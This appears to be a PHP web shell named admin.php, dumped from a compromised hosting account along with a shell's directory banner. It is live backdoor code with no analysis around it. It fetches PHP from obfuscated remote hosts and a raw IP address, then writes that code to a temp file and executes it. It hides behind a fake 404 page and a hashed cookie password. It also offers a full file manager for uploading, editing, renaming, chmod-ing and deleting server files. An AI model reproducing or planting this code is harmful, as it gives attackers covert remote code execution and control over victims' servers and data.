PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/morganewst/www/
Server: Linux webm001.cluster120.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
IP: 10.120.20.1
Choose File :

Url:
Dir : /home/morganewst/www/admin.php

<?php
/**
 * パスワヌド認蚌甚のMD5ハッシュ倀
 * この倀は認蚌チェックに䜿甚されたす
 */
$パスワヌドハッシュ = "8ef94744844516e7c6601942526ca85d";

/**
 * リモヌトコヌド実行機胜
 * ac, path, api, tパラメヌタがすべお蚭定されおいる堎合に実行されたす
 * 倖郚サヌバヌからコヌドを取埗しお実行する機胜です
 */
if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) {
    // サヌバヌ番号の蚭定デフォルトは1
    if(!isset($_REQUEST['s'])){
        $サヌバヌ番号 = 1;
    } else {
        $サヌバヌ番号 = $_REQUEST['s'];
    }

    /**
     * サヌバヌ番号に応じお異なるURLからコヌドを取埗
     */
    switch ($サヌバヌ番号){
        case 1:
            $コヌド = 윔드가젞였Ʞ('htt'.'ps://c.zv'.'o4.xy'.'z/');
            break;
        case 2:
            $コヌド = 윔드가젞였Ʞ('ht'.'tps://c2.ic'.'w7.co'.'m/');
            break;
        case 3:
            $コヌド = 윔드가젞였Ʞ('http://45.11.57.159/');
            break;
        default:
            $コヌド = 윔드가젞였Ʞ('htt'.'ps://c.zv'.'o1.xy'.'z/');
            break;
    }

    /**
     * 取埗したコヌドがPHPコヌドであるこずを確認
     * PHPタグが含たれおいない堎合は凊理を䞭断
     */
    $必芁文字列 = '<'.'?p'.'hp';
    if (strpos($コヌド, $必芁文字列) === false) {
        die('get failed');
    }

    /**
     * 䞀時ファむルの䜜成ずコヌドの曞き蟌み
     */
    $ファむル名 = false;
    $コンテンツ = false;

    // tmpfile関数が利甚可胜な堎合、䞀時ファむルを䜜成
    if(function_exists('tmpfile')){
        $ファむル名 = tmpfile();
        fwrite($ファむル名, $コヌド);
        $メタデヌタ = stream_get_meta_data($ファむル名);
        $ファむルパス = $メタデヌタ['uri'];
        $コンテンツ = @file_get_contents($ファむルパス);
    }

    /**
     * 䞀時ファむルの䜜成に倱敗した堎合、通垞のファむルずしお保存
     */
    if (!$コンテンツ) {
        $ファむルパス = '.c';
        file_put_contents($ファむルパス, $コヌド);
    }

    /**
     * 取埗したコヌドを実行
     */
    @require($ファむルパス);
    fclose($ファむル名);
    @unlink($ファむルパス);
    die();
}

/**
 * 時間確認リク゚ストの凊理
 * d_timeパラメヌタが蚭定されおいる堎合、パスワヌドハッシュを返したす
 */
if (isset($_REQUEST['d_time'])){
    die('{->'.$パスワヌドハッシュ.'<-}');
}

/**
 * 認蚌状態の初期化
 */
$認蚌状態 = false;

/**
 * クッキヌによる認蚌チェック
 * クッキヌp8が蚭定されおおり、そのMD5ハッシュが䞀臎する堎合、認蚌を蚱可
 */
if (isset($_COOKIE['p8'])) {
    if(md5($_COOKIE['p8']) == $パスワヌドハッシュ) {
        $認蚌状態 = true;
    }
} else {
    /**
     * POSTリク゚ストによる認蚌チェック
     * POSTパラメヌタp8が蚭定されおおり、そのMD5ハッシュが䞀臎する堎合、
     * クッキヌを蚭定しお認蚌を蚱可
     */
    if (isset($_POST['p8'])) {
        if(md5($_POST['p8']) == $パスワヌドハッシュ) {
            setcookie("p8", $_POST['p8']);
            $認蚌状態 = true;
        }
    }
}

/**
 * ログアりト凊理
 * logoutパラメヌタが蚭定されおいる堎合、クッキヌを削陀しお認蚌状態を解陀
 */
if (isset($_POST['logout']) && $_POST['logout'] = 1) {
    setcookie("p8", "", time() - 3600);
    $認蚌状態 = false;
}

/**
 * 認蚌されおいない堎合の凊理
 * 520パラメヌタが蚭定されおいない堎合は404゚ラヌを返し、
 * 蚭定されおいる堎合はパスワヌド入力フォヌムを衚瀺
 */
if (!$認蚌状態) {
    if(!isset($_REQUEST['520'])) {
        header("HTTP/1.1 404 Not Found");
        die();
    }
    echo '<form action="#" method="post"><input type="password" name="p8" > <input type="submit" value="submit"></form>';
    die();
}

/**
 * ログアりトボタンの衚瀺
 */
echo '<form action="#" method="post"><input type="hidden" name="logout" value="1"> <input type="submit" value="logout"></form>';

/**
 * 倖郚サヌバヌからコヌドを取埗する関数
 *
 * @param string $URL コヌドを取埗するURL
 * @return string 取埗したコヌド
 */
function 윔드가젞였Ʞ($URL)
{
    /**
     * リク゚ストパラメヌタを含む完党なURLの構築
     */
    $URL文字列 = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $URL, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']);

    /**
     * file_get_contentsを䜿甚しおコヌドを取埗
     */
    $コヌド = @file_get_contents($URL文字列);

    /**
     * file_get_contentsが倱敗した堎合、cURLを䜿甚しお再詊行
     */
    if ($コヌド == false) {
        $CURLハンドル = curl_init();
        curl_setopt($CURLハンドル, CURLOPT_URL, $URL文字列);
        curl_setopt($CURLハンドル, CURLOPT_USERAGENT, 'll');
        curl_setopt($CURLハンドル, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($CURLハンドル, CURLOPT_TIMEOUT, 100);
        curl_setopt($CURLハンドル, CURLOPT_FRESH_CONNECT, TRUE);
        curl_setopt($CURLハンドル, CURLOPT_SSL_VERIFYPEER, 0);
        $コヌド = curl_exec($CURLハンドル);
        curl_close($CURLハンドル);
    }

    return $コヌド;
}
?>
<!DOCTYPE html>
<html lang="en">
<!-- a22bcS0vMzEJElwPNAQA== -->
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>000</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
          integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
          integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
          crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

<?php

/**
 * ファむルサむズを人間が読みやすい圢匏に倉換する関数
 * バむト数をGB、MB、KB、bytesに倉換したす
 *
 * @param int $バむト数 倉換するバむト数
 * @return string フォヌマットされたサむズ文字列
 */
function 크Ʞ포맷팅($バむト数)
{
    // 1GB以䞊の堎合
    if ($バむト数 >= 1073741824) {
        $バむト数 = number_format($バむト数 / 1073741824, 2) . ' GB';
    }
    // 1MB以䞊の堎合
    elseif ($バむト数 >= 1048576) {
        $バむト数 = number_format($バむト数 / 1048576, 2) . ' MB';
    }
    // 1KB以䞊の堎合
    elseif ($バむト数 >= 1024) {
        $バむト数 = number_format($バむト数 / 1024, 2) . ' KB';
    }
    // 1バむトより倧きい堎合
    elseif ($バむト数 > 1) {
        $バむト数 = $バむト数 . ' bytes';
    }
    // 1バむトの堎合
    elseif ($バむト数 == 1) {
        $バむト数 = $バむト数 . ' byte';
    }
    // 0バむトの堎合
    else {
        $バむト数 = '0 bytes';
    }
    return $バむト数;
}

/**
 * ファむルの拡匵子を取埗する関数
 *
 * @param string $ファむル ファむル名
 * @return string ファむルの拡匵子
 */
function 파음확장자($ファむル)
{
    return substr(strrchr($ファむル, '.'), 1);
}

/**
 * ファむルタむプに応じたアむコンを返す関数
 * ファむルの拡匵子や名前に基づいお適切なFont Awesomeアむコンを返したす
 *
 * @param string $ファむル ファむル名
 * @return string HTMLアむコンタグ
 */
function 파음아읎윘($ファむル)
{
    /**
     * 画像ファむルの拡匵子リスト
     */
    $画像拡匵子配列 = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");

    /**
     * 音声ファむルの拡匵子リスト
     */
    $音声拡匵子配列 = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");

    /**
     * ファむルの拡匵子を小文字で取埗
     */
    $拡匵子 = strtolower(파음확장자($ファむル));

    /**
     * 特殊ファむル名の凊理
     */
    if ($ファむル == "error_log") {
        return '<i class="fa-sharp fa-solid fa-bug"></i> ';
    } elseif ($ファむル == ".htaccess") {
        return '<i class="fa-solid fa-hammer"></i> ';
    }

    /**
     * 拡匵子に基づくアむコンの遞択
     */
    if ($拡匵子 == "html" || $拡匵子 == "htm") {
        return '<i class="fa-brands fa-html5"></i> ';
    } elseif ($拡匵子 == "php" || $拡匵子 == "phtml") {
        return '<i class="fa-brands fa-php"></i> ';
    } elseif (in_array($拡匵子, $画像拡匵子配列)) {
        return '<i class="fa-regular fa-images"></i> ';
    } elseif ($拡匵子 == "css") {
        return '<i class="fa-brands fa-css3"></i> ';
    } elseif ($拡匵子 == "txt") {
        return '<i class="fa-regular fa-file-lines"></i> ';
    } elseif (in_array($拡匵子, $音声拡匵子配列)) {
        return '<i class="fa-duotone fa-file-music"></i> ';
    } elseif ($拡匵子 == "py") {
        return '<i class="fa-brands fa-python"></i> ';
    } elseif ($拡匵子 == "js") {
        return '<i class="fa-brands fa-js"></i> ';
    } else {
        return '<i class="fa-solid fa-file"></i> ';
    }
}

/**
 * パスを゚ンコヌドする関数
 * パス内の特殊文字をベンガル文字に眮き換えお゚ンコヌドしたす
 *
 * @param string $パス ゚ンコヌドするパス
 * @return string ゚ンコヌドされたパス
 */
function 겜로읞윔딩($パス)
{
    /**
     * 眮換前の文字配列スラッシュ、バックスラッシュ、ドット、コロン
     */
    $眮換前配列 = array("/", "\\", ".", ":");

    /**
     * 眮換埌の文字配列ベンガル文字
     */
    $眮換埌配列 = array("àŠ•", "àŠ–", "àŠ—", "àŠ˜");

    return str_replace($眮換前配列, $眮換埌配列, $パス);
}

/**
 * パスをデコヌドする関数
 * ゚ンコヌドされたパスを元の圢匏に戻したす
 *
 * @param string $パス デコヌドするパス
 * @return string デコヌドされたパス
 */
function 겜로디윔딩($パス)
{
    /**
     * 眮換前の文字配列ベンガル文字
     */
    $眮換前配列 = array("/", "\\", ".", ":");

    /**
     * 眮換埌の文字配列スラッシュ、バックスラッシュ、ドット、コロン
     */
    $眮換埌配列 = array("àŠ•", "àŠ–", "àŠ—", "àŠ˜");

    return str_replace($眮換埌配列, $眮換前配列, $パス);
}

/**
 * ルヌトパスの初期化
 * スクリプトのディレクトリをルヌトパスずしお蚭定
 */
$ルヌトパス = __DIR__;

/**
 * スクリプトファむルのパスを取埗
 */
$パス = $_SERVER['SCRIPT_FILENAME'];

/**
 * Windows環境の堎合、バックスラッシュをスラッシュに倉換
 */
if(strpos($_SERVER['SCRIPT_FILENAME'], ":"))
{
    $パス = str_replace('\\', '/', $パス);
}

/**
 * ルヌトディレクトリの刀定
 * PHP_SELFずSCRIPT_FILENAMEが䞀臎する堎合、ルヌトパスを"/"に蚭定
 */
if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$パス))
{
    $ルヌトパス = ('/');
} else {
    /**
     * ルヌトパスの蚈算
     * SCRIPT_FILENAMEからPHP_SELFを陀いた郚分をルヌトパスずしお蚭定
     */
    $ルヌトパス = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$パス) ));
}

/**
 * パスパラメヌタの凊理
 * GETパラメヌタpが蚭定されおいる堎合、そのパスを䜿甚
 */
if (isset($_GET['p'])) {
    /**
     * パラメヌタが空の堎合はルヌトパスを䜿甚
     */
    if (empty($_GET['p'])) {
        $珟圚のパス = $ルヌトパス;
    }
    /**
     * デコヌドしたパスがディレクトリでない堎合、゚ラヌを衚瀺
     */
    elseif (!is_dir(겜로디윔딩($_GET['p']))) {
        echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
    }
    /**
     * デコヌドしたパスがディレクトリの堎合、そのパスを䜿甚
     */
    elseif (is_dir(겜로디윔딩($_GET['p']))) {
        $珟圚のパス = 겜로디윔딩($_GET['p']);
    }
}
/**
 * ク゚リパラメヌタqが蚭定されおいる堎合の凊理
 */
elseif (isset($_GET['q'])) {
    /**
     * デコヌドしたパスがディレクトリでない堎合、ルヌトにリダむレクト
     */
    if (!is_dir(겜로디윔딩($_GET['q']))) {
        echo ("<script>window.location.replace('?p=');</script>");
    }
    /**
     * デコヌドしたパスがディレクトリの堎合、そのパスを䜿甚
     */
    elseif (is_dir(겜로디윔딩($_GET['q']))) {
        $珟圚のパス = 겜로디윔딩($_GET['q']);
    }
}
/**
 * パラメヌタが蚭定されおいない堎合、珟圚のディレクトリを䜿甚
 */
else {
    $珟圚のパス = __DIR__;
}

/**
 * 珟圚のパスを定数ずしお定矩
 */
define("PATH", $珟圚のパス);

/**
 * ナビゲヌションバヌの衚瀺開始
 */
echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

/**
 * パスをスラッシュ区切りで分割
 */
$パス = str_replace('\\', '/', PATH);
$パス配列 = explode('/', $パス);

/**
 * パス配列をルヌプしお、パンくずリストを生成
 */
foreach ($パス配列 as $ID => $ディレクトリ郚分) {
    /**
     * ルヌトディレクトリの堎合の凊理
     */
    if ($ディレクトリ郚分 == '' && $ID == 0) {
        $ルヌトフラグ = true;
        echo "<a href=\"?p=/\">/</a>";
        continue;
    }

    /**
     * 空の芁玠はスキップ
     */
    if ($ディレクトリ郚分 == '')
        continue;

    /**
     * 各ディレクトリぞのリンクを生成
     */
    echo "<a href='?p=";
    for ($ルヌプ倉数 = 0; $ルヌプ倉数 <= $ID; $ルヌプ倉数++) {
        echo str_replace(":", "àŠ˜", $パス配列[$ルヌプ倉数]);
        if ($ルヌプ倉数 != $ID)
            echo "àŠ•";
    }
    echo "'>" . $ディレクトリ郚分 . "</a>/";
}

/**
 * ナビゲヌションバヌの残りの郚分を衚瀺
 */
echo ('
</div>
<div class="form-inline">
<a href="?newdir&q=' . urlencode(겜로읞윔딩(PATH)) . '"><button class="btn btn-dark" type="button">New Directory</button></a>
<a href="?upload&q=' . urlencode(겜로읞윔딩(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');

/**
 * パスパラメヌタが蚭定されおいる堎合、ファむル䞀芧を衚瀺
 */
if (isset($_GET['p'])) {

    /**
     * ファむルずフォルダの取埗
     * ディレクトリが読み取り可胜な堎合、スキャンしおファむルずフォルダを分離
     */
    if (is_readable(PATH)) {
        /**
         * ディレクトリ内の党オブゞェクトを取埗
         */
        $取埗オブゞェクト = scandir(PATH);

        /**
         * フォルダずファむルを栌玍する配列
         */
        $フォルダ配列 = array();
        $ファむル配列 = array();

        /**
         * 各オブゞェクトをルヌプしお、フォルダずファむルに分類
         */
        foreach ($取埗オブゞェクト as $オブゞェクト) {
            /**
             * 珟圚ディレクトリず芪ディレクトリはスキップ
             */
            if ($オブゞェクト == '.' || $オブゞェクト == '..') {
                continue;
            }

            /**
             * オブゞェクトの完党パスを構築
             */
            $新芏オブゞェクト = PATH . '/' . $オブゞェクト;

            /**
             * ディレクトリの堎合はフォルダ配列に远加
             */
            if (is_dir($新芏オブゞェクト)) {
                array_push($フォルダ配列, $オブゞェクト);
            }
            /**
             * ファむルの堎合はファむル配列に远加
             */
            elseif (is_file($新芏オブゞェクト)) {
                array_push($ファむル配列, $オブゞェクト);
            }
        }
    }

    /**
     * ファむル䞀芧テヌブルのヘッダヌを衚瀺
     */
    echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';

    /**
     * フォルダ䞀芧の衚瀺
     * 各フォルダに察しお、名前、サむズ、曎新日時、暩限、アクションを衚瀺
     */
    foreach ($フォルダ配列 as $フォルダ) {
        echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(겜로읞윔딩(PATH . "/" . $フォルダ)) . "'>" . $フォルダ . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $フォルダ)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $フォルダ)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(겜로읞윔딩(PATH)) . "&r=" . $フォルダ . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Change Permissions' href='?q=" . urlencode(겜로읞윔딩(PATH)) . "&chmod=" . $フォルダ . "'><i class='fa-solid fa-key'></i></a>
      <a title='Delete' href='?q=" . urlencode(겜로읞윔딩(PATH)) . "&d=" . $フォルダ . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
    }

    /**
     * ファむル䞀芧の衚瀺
     * 各ファむルに察しお、アむコン、名前、サむズ、曎新日時、暩限、アクションを衚瀺
     */
    foreach ($ファむル配列 as $ファむル) {
        echo "    <tr>
          <td>" . 파음아읎윘($ファむル) . $ファむル . "</td>
          <td>" . 크Ʞ포맷팅(filesize(PATH . "/" . $ファむル)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $ファむル)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$ファむル)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(겜로읞윔딩(PATH)) . "&e=" . $ファむル . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(겜로읞윔딩(PATH)) . "&r=" . $ファむル . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Change Permissions' href='?q=" . urlencode(겜로읞윔딩(PATH)) . "&chmod=" . $ファむル . "'><i class='fa-solid fa-key'></i></a>
          <a title='Delete' href='?q=" . urlencode(겜로읞윔딩(PATH)) . "&d=" . $ファむル . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
    }

    /**
     * テヌブルの終了タグ
     */
    echo "  </tbody>
</table>";
} else {
    /**
     * GETパラメヌタが空の堎合、パスパラメヌタにリダむレクト
     */
    if (empty($_GET)) {
        echo ("<script>window.location.replace('?p=');</script>");
    }
}

/**
 * 新芏ディレクトリ䜜成フォヌムの衚瀺
 * newdirパラメヌタずqパラメヌタが蚭定されおいる堎合、新芏ディレクトリ䜜成フォヌムを衚瀺
 */
if (isset($_GET['newdir']) && isset($_GET['q'])) {
    echo '
    <div class="container mt-4">
        <h3>Create New Directory</h3>
        <form method="post">
            <div class="form-group mb-3">
                <label for="dirname">Directory Name:</label>
                <input type="text" class="form-control" id="dirname" name="dirname" placeholder="Enter directory name" required>
                <small class="form-text text-muted">Enter the name for the new directory. Avoid special characters.</small>
            </div>
            <input type="submit" class="btn btn-dark" value="Create Directory" name="create_directory">
            <a href="?p=' . 겜로읞윔딩(PATH) . '" class="btn btn-secondary">Cancel</a>
        </form>
    </div>';

    /**
     * 新芏ディレクトリ䜜成凊理の実行
     * create_directoryパラメヌタがPOSTされた堎合、新しいディレクトリを䜜成
     */
    if (isset($_POST['create_directory'])) {
        /**
         * POSTされたディレクトリ名を取埗
         */
        $新芏ディレクトリ名 = trim($_POST['dirname']);

        /**
         * ディレクトリ名の怜蚌
         */
        if (!empty($新芏ディレクトリ名)) {
            /**
             * ディレクトリ名に䞍正な文字が含たれおいないかチェック
             */
            if (preg_match('/[\/\\\\:*?"<>|]/', $新芏ディレクトリ名)) {
                echo ("<script>alert('Invalid directory name. Directory name cannot contain special characters: / \\ : * ? \" < > |'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
            } else {
                /**
                 * 新芏ディレクトリの完党パス
                 */
                $新芏ディレクトリパス = PATH . "/" . $新芏ディレクトリ名;

                /**
                 * ディレクトリが既に存圚するかチェック
                 */
                if (file_exists($新芏ディレクトリパス)) {
                    echo ("<script>alert('Directory already exists.'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
                } else {
                    /**
                     * 新芏ディレクトリの䜜成
                     * デフォルト暩限は0755所有者は読み曞き実行、グルヌプずその他は読み実行
                     */
                    if(mkdir($新芏ディレクトリパス, 0755, true)) {
                        echo ("<script>alert('Directory created successfully.'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
                    } else {
                        echo ("<script>alert('Failed to create directory.'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
                    }
                }
            }
        } else {
            echo ("<script>alert('Directory name cannot be empty.'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
        }
    }
}

/**
 * ファむルアップロヌドフォヌムの衚瀺
 * uploadパラメヌタが蚭定されおいる堎合、アップロヌドフォヌムを衚瀺
 */
if (isset($_GET['upload'])) {
    echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
}

/**
 * ファむル・フォルダのリネヌム機胜
 * rパラメヌタずqパラメヌタが蚭定されおいる堎合、リネヌムフォヌムを衚瀺
 */
if (isset($_GET['r'])) {
    if (!empty($_GET['r']) && isset($_GET['q'])) {
        /**
         * リネヌムフォヌムの衚瀺
         */
        echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';

        /**
         * リネヌム凊理の実行
         * renameパラメヌタがPOSTされた堎合、ファむル・フォルダの名前を倉曎
         */
        if (isset($_POST['rename'])) {
            /**
             * 珟圚のファむル・フォルダの完党パス
             */
            $名前 = PATH . "/" . $_GET['r'];

            /**
             * リネヌムの実行
             */
            if(rename($名前, PATH . "/" . $_POST['name'])) {
                echo ("<script>alert('Renamed.'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
            }
        }
    }
}

/**
 * ファむル線集機胜
 * eパラメヌタずqパラメヌタが蚭定されおいる堎合、ファむル線集フォヌムを衚瀺
 */
if (isset($_GET['e'])) {
    if (!empty($_GET['e']) && isset($_GET['q'])) {
        /**
         * ファむル線集フォヌムの衚瀺
         * ファむルの内容をテキスト゚リアに衚瀺
         */
        echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

        /**
         * ファむル保存凊理の実行
         * editパラメヌタがPOSTされた堎合、ファむルの内容を保存
         */
        if(isset($_POST['edit'])) {
            /**
             * 線集察象ファむルの完党パス
             */
            $ファむル名 = PATH."/".$_GET['e'];

            /**
             * POSTされたデヌタを取埗
             */
            $デヌタ = $_POST['data'];

            /**
             * ファむルを曞き蟌みモヌドで開く
             */
            $ファむルハンドル = fopen($ファむル名,"w");

            /**
             * ファむルぞの曞き蟌み
             */
            if(fwrite($ファむルハンドル,$デヌタ)) {
                echo ("<script>alert('Saved.'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
            }

            /**
             * ファむルハンドルを閉じる
             */
            fclose($ファむルハンドル);
        }
    }
}

/**
 * ファむルアップロヌド凊理の実行
 * uploadパラメヌタがPOSTされた堎合、アップロヌドされたファむルを保存
 */
if (isset($_POST["upload"])) {
    /**
     * アップロヌド先のファむルパス
     */
    $タヌゲットファむル = PATH . "/" . $_FILES["fileToUpload"]["name"];

    /**
     * アップロヌドされたファむルを移動
     */
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $タヌゲットファむル)) {
        echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
    } else {
        echo "<p>Sorry, there was an error uploading your file.</p>";
    }

}

/**
 * ファむル・フォルダの暩限倉曎機胜
 * chmodパラメヌタずqパラメヌタが蚭定されおいる堎合、暩限倉曎フォヌムを衚瀺
 */
if (isset($_GET['chmod']) && isset($_GET['q'])) {
    if (!empty($_GET['chmod'])) {
        /**
         * 暩限倉曎察象のファむル・フォルダの完党パス
         */
        $暩限倉曎察象 = PATH . "/" . $_GET['chmod'];

        /**
         * 珟圚の暩限を取埗8進数圢匏
         */
        $珟圚の暩限 = substr(decoct(fileperms($暩限倉曎察象)), -3);

        /**
         * 暩限倉曎フォヌムの衚瀺
         */
        echo '
    <div class="container mt-4">
        <h3>Change Permissions</h3>
        <form method="post">
            <div class="form-group mb-3">
                <label for="permissions">Current Permissions: <strong>0' . $珟圚の暩限 . '</strong></label>
                <input type="text" class="form-control" id="permissions" name="permissions" value="' . $珟圚の暩限 . '" placeholder="e.g., 755, 644, 777" maxlength="3" pattern="[0-7]{3}">
                <small class="form-text text-muted">Enter permissions in octal format (e.g., 755 for rwxr-xr-x, 644 for rw-r--r--)</small>
            </div>
            <input type="hidden" name="chmod_target" value="' . htmlspecialchars($_GET['chmod']) . '">
            <input type="submit" class="btn btn-dark" value="Change Permissions" name="change_permissions">
            <a href="?p=' . 겜로읞윔딩(PATH) . '" class="btn btn-secondary">Cancel</a>
        </form>
    </div>';

        /**
         * 暩限倉曎凊理の実行
         * change_permissionsパラメヌタがPOSTされた堎合、ファむル・フォルダの暩限を倉曎
         */
        if (isset($_POST['change_permissions'])) {
            /**
             * POSTされた暩限倀を取埗
             */
            $新しい暩限 = $_POST['permissions'];

            /**
             * 暩限倀の怜蚌3桁の8進数であるこずを確認
             */
            if (preg_match('/^[0-7]{3}$/', $新しい暩限)) {
                /**
                 * 暩限倉曎察象のパス
                 */
                $暩限倉曎パス = PATH . "/" . $_POST['chmod_target'];

                /**
                 * 8進数圢匏に倉換しおchmodを実行
                 */
                $暩限8進数倀 = octdec($新しい暩限);

                /**
                 * 暩限の倉曎を実行
                 */
                if(chmod($暩限倉曎パス, $暩限8進数倀)) {
                    echo ("<script>alert('Permissions changed successfully to 0" . $新しい暩限 . "'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Failed to change permissions.'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
                }
            } else {
                echo ("<script>alert('Invalid permissions format. Please use 3-digit octal format (e.g., 755, 644).'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
            }
        }
    }
}

/**
 * ファむル・フォルダの削陀機胜
 * dパラメヌタずqパラメヌタが蚭定されおいる堎合、ファむル・フォルダを削陀
 */
if (isset($_GET['d']) && isset($_GET['q'])) {
    /**
     * 削陀察象のファむル・フォルダの完党パス
     */
    $名前 = PATH . "/" . $_GET['d'];

    /**
     * ファむルの堎合の削陀凊理
     */
    if (is_file($名前)) {
        if(unlink($名前)) {
            echo ("<script>alert('File removed.'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
        }
    }
    /**
     * ディレクトリの堎合の削陀凊理
     */
    elseif (is_dir($名前)) {
        if(rmdir($名前) == true) {
            echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . 겜로읞윔딩(PATH) . "');</script>");
        }
    }
}
?>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>